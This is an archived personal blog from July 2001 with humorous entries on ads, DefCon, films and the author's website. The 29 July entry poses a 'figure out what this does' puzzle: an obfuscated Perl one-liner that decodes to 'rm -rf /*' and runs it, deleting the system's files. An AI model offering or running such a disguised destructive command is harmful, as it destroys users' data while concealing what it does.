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Archive July 2001
Monday 30 July 2001
Argh, American advertisements are insane. Baby Bottle Pop advertises with girls laughing at the kids who consume the product. "Ooh, I want to be laughed at too!". And McDonalds advertise with Ronald showing kids around a museum. What the bloody buggery has that got to do with crappy food? [23:27] [0 comments] Tsk, ravenblack.net was down for a few hours again, due to lilo not being configured to reboot, when the machine is rebooted. Now it is, hoorah. [23:05] [0 comments] No Roadsigns
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Tron 2, apparently, along with perhaps a proper DVD release of the original. Hooray. [05:44] [0 comments]


Sunday 29 July 2001
Figure out what this command-line does, in Unix. Any damage resulting from attempts to run this command-line are your own fault. I didn't make you run it. I warned you, too. Quit your whining.
perl -e '$a="Inst NET:"; $a=~tr/[TELNET Inst:]/[\/ xf \/rrm \-\*]/; `$a`;' [20:56] [0 comments]
Every word in this sentence means something else. [20:29] [0 comments]
I got what must be the cheekiest spam ever. Apparently one is not even allowed to read the 'to be removed' instructions. But that's okay, because they're just a big stinking lie. [20:06] [0 comments] I saw Tim Burton's Planet of the Apes remake last night. It was about on a par, entertainment-wise, with the original. The apes looked better, but they acted more like stinking humans. The twist wasn't a very twisty twist, and there was rather too much screeching, and not enough loping. Close, but no banana. [20:05] [0 comments] This Is A Stick Ape
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Saturday 28 July 2001
After a lot of downloading, I have now seen the first half of the controversial Brass Eye Special. I found it quite funny, and I'm not ashamed to admit it. [22:23] [1 comment] Enter the Dragon
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Um, that would be not ravenblack.net, which is not inside the freaky firewall. If you don't know my firewall's IP, you're not welcome to scan. [07:10] [0 comments] I spent today doing funny things to my firewall. Please don't do a full portscan on me, but you're welcome to do an nmap OS-scan and be horrified or confused by the results. [07:09] [0 comments] Ah, the old War of the Worlds series. That needs to be repeated. The same goes for Blake's Seven. And America needs to import Fist of Fun. TV Nostalgia strikes! [06:57] [0 comments] War of the Worlds
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Friday 27 July 2001
Somehow, in conversation with my wife, a joke came up which led to the suggestion that it would be great, as a child, to have been named with swearwords, ie. Piss Fuck Wank. What better way to stave off name mockery? The other kids call you Piss Fuck Wank, it's just your name, not offensive at all. Whereas if your name is, say, Chris Tucker, then when other kids call you Piss Fucker it's clearly offensive. Also, it would be fantastic to have every kid in school named for swearwords. Roll Call would be even funnier than with just one. Of course, the humour would be lost if it became commonplace. [06:47] [0 comments]
New sentences were added to the Random Surrealism Generator, a change inspired by this seanbaby.com article. [01:32] [0 comments] I ordered Tron from half.com. I feel old. [01:30] [0 comments] Light Cycles
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Thursday 26 July 2001
Hoorah, the thought police are here, and they're knocking on your brain. Or at least your diary. Actually, they don't knock, they just go in without a warrant, hooray! Lucky for me my diary is in a private secret place where nobody will ever find it. Argh, what are you doing here? Anyway, here's the article upon which this little diatribe has been based. [05:40] [0 comments] Also yesterday, I should have mentioned that the Lemon and Honey flavour of Airwaves gum is as good as the Menthol. It also still tastes mentholly, and still makes my wife gag and spit, so bonus points there. [05:29] [0 comments]
Yesterday I should have blogged this, which came to me courtesy of Tom. [05:28] [0 comments] I finally finished updating ravenblack.net, after spending an entire day on it. Four out of five people say the new design is better. [05:25] [0 comments] Godzilla
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Apparently, my wife is Godzilla. GRARH she says. [05:18] [0 comments]


Tuesday 24 July 2001
Thanks also to Icarus, for he has joined the slim ranks of lovely people who have sent me Airwaves gum. And he also sent me a CD, so bonus good things for him, the lucky devil. [20:53] [0 comments]
Thanks go to Gabriel, the archetypal source of Gonads and Strife. [20:22] [0 comments] I now embark on a course of updating the look of ravenblack.net. I may be some time. [20:07] [0 comments] This morning I learned The Truth About Goths. Which is that they're bloody easy to enrage with a little irony. [19:56] [1 comment] Ceci n'est pas un Glyph
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Monday 23 July 2001
Hoorah! ravenblack.net now has a DNS server other than the unreliable granitecanyon, which should mean it will be down a lot less. Only powercuts and hax0rs can stop me now! [20:56] [0 comments]
A large portion of the journey back from Atlanta was consumed with variants of the question "Who would you boink?". The essence of the questions was "Who would you boink if the world were suddenly polyboinkerous, ie. assuming no social repercussions, nobody (such as current partners) minds, and the victim is willing". Later rephrased and clarified as "Who would you boink if suddenly there were only you and them?". The specific variants were "Who would you boink, from people you know?", "Who would you boink, from famous living people?" and "Who would you boink, from all fictional characters?". If you're someone I know, I'd probably be amused to hear who you would boink. [19:48] [0 comments]
Atlanta was pleasant. We interacted with only two people while there, which, for me, makes it a successful trip. Even if there was one other that I might have enjoyed the company of, that we failed to organise the meeting of. [19:17] [0 comments] I am worth more than 2.5 million dollars, according to humanforsale.com. How much dollar-sign-repetitions are you worth? [19:12] [0 comments] Thorax and Mandibles
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Saturday 21 July 2001
I'm off to Atlanta in a few minutes. Likelihood of Blog updates before Sunday; unsure. Likelihood of granitecanyon working again so you can read this before Sunday; also unsure. [01:31] [0 comments]
Yet another griping about networksolutions - in order to add a DNS server to my entry, I had to choose "I want to... transfer my domain name to another ISP". That being something that I didn't, in fact, want to do. Also, they continually refer to DNS servers or nameservers as hosts. Why not go one step further, and just refer to everything in your records as things? If you're going to be stupidly vague, you may as well go the whole way. [00:16] [0 comments]


Friday 20 July 2001
Today's survey-of-disbelief - web-browsers default to using the Times New Roman font, which, in my opinion, is terribly ugly and unpleasant. Does anyone like serif fonts? Tell me if you do. [20:22] [0 comments] One person said they liked Hersheys - it's the infamous Meander again. We can safely and reasonably conclude that Hersheys cause mononucleosis. [20:19] [0 comments]
Glyph inspired by Metamagical Themas. How would you describe the upper-case letter A? Chances are, even serifs would depart from your description. Almost nobody would describe it such that it would encompass today's Glyph, yet almost everybody (who isn't a computer) would recognise the Glyph as an A. [20:03] [0 comments] Optical Character Disguising
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Thursday 19 July 2001
Grabualsa, by the way. Come to me, search engines! [23:56] [1 comment] I have nothing worth blogging today, so instead I ask a question - does anybody actually like the default paraffin-flavouring of Hersheys chocolate? Tell me if you do. [23:52] [0 comments] Heritage of a Hershey
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I have now been crowned king of horrible monsters, and I refuse to pray for death. RARRH, I AM A CYCLOPES! [04:57] [0 comments] Ten out of ten wife's stupid friends agree, RavenBlack is a horrible monster and should pray for death. [03:31] [0 comments]


Wednesday 18 July 2001
Instead of San Francisco, we're now looking at moving to Seattle, which various sources claim is The Emerald City, rainy, full of goths, and with available tech jobs. On the downside of its comparison against San Francisco, there's much less chance of a random violent death due to plate tectonics. Where's the fun in that? [21:12] [0 comments] Love Hertz
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Redoing the personality disorder test today, I scored eight disorders out of ten, by answering the questions as asked, rather than the questions I thought they meant. Still must try harder, though. [00:21] [0 comments]
Related to my image-recognition rant of July 10th, Kevan tells me that Google has a not-really-what-I-was-looking-for image search based on link text and image name. While it fails to produce the requested thin people with dark blue hair, and also doesn't get pictures of skeletons on elephants, it does do a decent job of finding elephant skeletons. [00:15] [0 comments]


Tuesday 17 July 2001
Ending the run of reader submissions, the Glyphs return to being produced by my own infinitely grumpy hand. [23:57] [0 comments] Google
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From As Above, I do the Personality Disorder Test to see whether it agrees with my own assessment of my disorders of choice. The results? I'm highly Schizoid, moderately schizotypal, moderately antisocial, moderately narcissistic and moderately obsessive-compulsive. On the up-side, at least I'm not very paranoid, borderline, histrionic, avoidant or dependent. Only five out of ten disorders. Could do better. [01:19] [0 comments] Most of all, DefCon reminded me of Jeff K and, especially, his Usar Freindley Flash animation. Gaze upon it and despair. On a related note, my wife got me a badge. [01:05] [0 comments]


Monday 16 July 2001
DefCon was the most bored I have been for a long time. Not only that, it was days of being the most bored I've been for a long time. On Sunday, the network was down for hours, then external ssh was blocked, hence the lack of entries yesterday. You didn't miss much, since I would have just been complaining anyway. Apparently that's all I do. [22:17] [0 comments] Today's reader submission Glyph is from Kevan. And now, on with the bitching. [22:15] [0 comments] Convention
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Sunday 15 July 2001
A reader-submission gif today, from the infamous Meander. Some modification was required, the original being in the wrong size and such. [05:11] [0 comments] Slots
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Saturday 14 July 2001
Demonstrating the predicted lack of reader-submitted Glyphs, I have no Glyph for today. I also have no fun today. Las Vegas sucks. DefCon sucks. The people suck. The only redeeming feature is that I haven't yet heard anyone say the standard geek humour. On the downside, I haven't heard anyone say anything more interesting either. And I just paid $200 for a single meal for three people, due to eating with lots of people and the bill being split equally between eaters, despite one guy eating $500 of food, and each of my three eating, even at extortionate rates, maybe $30 at most. I hate geeks. I should have stayed at home and thrown out the plane ticket - about $150 would have been saved that way already, as well as a lot of grumpiness. I did briefly meet Starla from the White Hats, which, despite almost nothing being said and me already being thoroughly grumpy, was the high point. That's how bad it is. There are bloody fruit machines in the bloody airport. All must die. [07:43] [0 comments]


Thursday 12 July 2001
With a bit of quick-thinking, I've decided to install ZipSlack on Fiend so I can connect to a network at DefCon without fearing for my computer's life. And from there, I'll be able to update the blog after all. Hooray for the wonders of modern technology. [09:20] [0 comments] Note: In that Las Vegas entry, "tomorrow night" refers to tonight, in fact. Whose stupid idea was it to end days at midnight anyway? 7am, that's when day-transfer should occur. [08:18] [0 comments]
Today's reader-submission Glyph courtesy of Tyrethali, who inspired me to this particular laziness. And a fine Glyph it is too. [08:15] [0 comments] Amusingly, I won't actually be able to update on these various days of absence that are following. Which means a bunch of reader submissions, should I get a bunch, will be clustered on Monday, the day of returning. I'm off to Las Vegas tomorrow night. "Why?", you may ask, "You're already married, you think gambling is silly, you hate the sun, you hate neon, and you hate people! Why on earth would you go to Las Vegas?". And you'd be surprisingly correct on all counts. In fact, I don't even want to go to Las Vegas any more, but the flight is booked already, for a visit to DefCon. Sigh. [08:15] [0 comments] Blog
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In a fit of laziness, I've come up with the fantastic idea of reader-submission Glyphs for the next few days. Send me your 80x60 monochrome GIFs, and your artwork may appear in RavenBlog, along with a link or something if you like. This will be running until the 18th or so, so get it while it's hot. Many will enter, few will win! [07:47] [0 comments]


Wednesday 11 July 2001
Huzzah! A consignment of gum (as per my request of the 29th of June) has arrived from Kevan. The rest of you in England are still cursed of course. [22:47] [1 comment] Those of my readers who've ever visited whoishottest.com's thong section, even for a fraction of a second, will recognise today's Glyph as actually being the exact picture submitted by every entrant. [22:44] [0 comments] Thongs
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I wonder how long it will be before computers can do proper image-recognition. When they can, I want text-based picture-searches, pronto. "Google, get me pictures of... thin people with dark blue hair.. Now get me pictures of skeletons... on elephants!". "No results found: would you like me to draw you a picture?". "No, but you can bring me a pie. Warp speed to the nearest planet. Tell me the answer to this criminal mastermind's riddle, too." [06:54] [0 comments]
Incidentally, I wrote back to Miss 'Speaking as a mother', asking what part of my site in particular offended her, and explaining (not in great detail) what a furry is. My wife is considering calling the scrawled out number of Mr 'True Beliveser'. [00:22] [0 comments]


Tuesday 10 July 2001
I got a fantastic email with which I am overjoyed. Here it is, suitably annotated.
Speaking as a mother that found my son has visited your "site". My god find you...and do something with you. You will be in my dreams...my mind and heart as I know .. what goes around comes around. And I only hope god comes around your corner in a furry. [12:41] [0 comments]
God Coming Around The Corner In A Furry
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RavenGet has undergone another minor update, making it resistant to running-two-copies-at-once, and hopefully also better at recognising dead connections. [01:41] [0 comments] On the same theme, in today's Batman Beyond, "Three high-school footballers have been arrested for using slappers.". To an American, this would mean only the drug that slappers were depicted to be. To a Brit, it's a lot funnier, slapper being just one among many sexual euphemisms lacked by America. It's endlessly entertaining to have such a surfeit of euphemisms that nobody around you knows. [01:09] [0 comments]
Some things that regained my attention today - some of the more obscure phrases not to use to Americans. Don't take the piss or take the mickey with an American. You also should probably not snigger - instead you should snicker. If you want to take the piss, I'm afraid there is no phrase in America to describe the act. Which is perhaps why they tend to have difficulty recognising it. [00:06] [0 comments]


Monday 9 July 2001
See Turtles
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Sunday 8 July 2001
More Glyphs for the sick... A bunch of grapes... of WRATH! Watch the bacteria or virii or whatever greebly things try to eat the grapes, and watch as the tables are turned. Grapes of wrath have huge pointy... they have great big... Ach, I warned ye... [10:25] [0 comments] Grapes
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I'm told that people in London do get mongrelnewrenaultcliosis, as though this invalidates my claim of it not appearing in England. In fact, London is a suburb of America, and so my claim stands. [07:06] [0 comments]
An NTK-style inappropriate (or amazingly appropriate) banner ad caught my eye just now. Have a peek at it here. [06:51] [0 comments] There's also, I'm told in a tongue-in-cheek sort of way, grammar-rage, as invoked by my terrible habit of starting sentences with 'and'. Grammar-rage is, of course, responsible for 95% of mailing-list related accidents. [04:00] [0 comments]
Then there are the rages. Road-rage, air-rage, shopping-rage, queue-rage, being-an-idiot-rage... It's all the rage these days. And of course, these rages are on the increase - that's because people are learning that it's not their responsibility - they didn't do it, they were afflicted with a rage! Marvellous stuff. [03:32] [0 comments] Sticking with the recent theme, don't you just love all the disorders there are in America? There's Attention Deficit Disorder, there's lovely old Tourette's Syndrome, and there's my personal favourite Social Anxiety Disorder. I'm afraid I have two of the above, and am thus offered the choice of seeing a psychiatrist or being summarily terminated. [03:30] [0 comments]
The answer to my question about mondonuclearhalitosis is apparently that no, people in England don't get it. Which probably means that in reality they call it flu and get on with their lives. Whereas in America they're told that they're deathly ill and should stay in bed, and so they are, and they do. The power of suggestion, as Harry Hill would have it. [03:21] [0 comments] I finally got around to mp3ising this Beethoven piece. Get it, and enjoy it, while you can. Many will enter, few will win. [01:16] [0 comments]


Saturday 7 July 2001
Alien Pig Face
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Apparently, the baked beans in America that aren't marked vegetarian don't have, as I had imagined, a little bit of pork flavouring in them. No, indeed, they have a huge slimy glob of lard in the bottom of the tin. No wonder nobody around here likes baked beans. [01:55] [0 comments]


Friday 6 July 2001
Yesterday I read two books of The Wonderland Gambit by Jack Chalker. The first one, The Cybernetic Walrus, was good - twists throughout, all gradually making more sense. The second one, The March Hare Network, was a little irritating, being largely a lot of "all that you learned in the first book was untrue", not even done in a very interesting way. Not to say that The March Hare Network was bad, it just wasn't nearly as good as Walrus. I still recommend them. [20:28] [0 comments] Another fun thing of that same Eudora ad - partially covered by another window, I am advertised at thusly: Click here sea turtles : cccturtle.org. Fantastic. I'd love to have a look, but unfortunately I'm not a sea turtle. [20:25] [0 comments]
Two or three ads, recently, have been declaring "Many will enter, few will win!", about games of random chance. Is this supposed to be an endorsement? I can understand it being an endorsement of a game of skill, in that it would then be prestigious to be one of the few, but where's the prestige in being the one to be picked randomly from a large number? The house of death! Many will enter, few will win! Play now! [20:13] [0 comments] Today's Glyph is dedicated to Meander, who apparently is infected with monothermonuclearosis. Death to the bacteria! Or a dream holiday in sunny Spain for the bacteria. Either way, so long as they sod off. [18:27] [0 comments] A Touch of Death
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If anyone reading this has a machine named osty, and dials up through 1st.net, you have a virus that spreads itself by emailing a randomly-named attachment. I recommend a nice free virus scan. [03:30] [0 comments]


Thursday 5 July 2001
Since I'm bitching about America anyway, though... Vegetarian Baked Beans. Since when did it become necessary to specify that Baked Beans are vegetarian? Since America made them, by default, not. So which part is it that contains pig? Is it 'beans' or is pig a part of the baking process? When are all vegetables going to be labelled vegetarian, for my peace of mind? I wouldn't put it past America to invent the pig-filled lettuce. As Nik put it, "'scuse me sonny, is this lettuce vegematarian?" [21:37] [4 comments]
I didn't make a Blog entry yesterday as a sort of ironic gesture regarding the date. American Independence Day, you see, being something that shouldn't exist. Who is independent in a society where you can sue because you stubbed your toe? Actually, the real reason I posted nothing yesterday was because I didn't have anything I wanted to write, but the independence thing seems like a better excuse. [21:33] [0 comments] Broken Timeline
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Tuesday 3 July 2001
I finally succumbed and got the Audiogalaxy software. Goodbye, bandwidth. [20:51] [0 comments]
Icarus pointed me at Pop-up stopper due to my bitching about even dictionary.com lobbing popup-ads at me, and I join him now in recommending it. The feeling of satisfaction every time your computer goes 'groink' instead of advertising crap at you is a wonderful thing. [10:08] [0 comments] I acquired the main piece of music from Scared Little Boy, from the artist normally known as Joel Veitch. Lovely man, he is, even without sending me gum. [10:02] [0 comments] Well that really was a day of sleep, eh? Programming occurs today. [09:58] [0 comments] 2001
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Today is a day of sleep. Lots of sleep. And a really poor Glyph. Sorry about that. [04:11] [0 comments] Illuminati
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Sunday 1 July 2001
Just woke up from a dream in which I swallowed a scary alien worm thing, that was supposed to boost one's reflexes and synapses. An odd feeling of substance-in-chest-level-throat-tubes, when I woke. I wonder if I swallowed a pillow or something. [17:07] [0 comments] If you have RavenGet, get a new version. Thank you. There are snakes in the old version. [09:29] [0 comments] Snake
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You know it's time to permanently disable Javascript when dictionary.com starts doing popup ads. Grarh. [05:11] [4 comments] I received an amusingly distorted phrase in my email today, by someone to whom English is a second language; "Well, don't you need a lack of new friends sometimes?". Ironic, then, that I often think that I do indeed need a lack of new friends, which is why I rarely cultivate extended contact with people who email me out of the blue. [04:23] [0 comments]
I know, my loyal fans have been waiting all day for the Saturday Glyph, not knowing it to be delayed by my not being home all day - how cruel of me not to warn you of my impending absence, and, worse, to not even explain what it was about, now. I'm so mean to you, and yet you keep coming back. And then the Glyph is rubbish as well. Ha ha. [04:18] [0 comments] Downhill Haggis Racing
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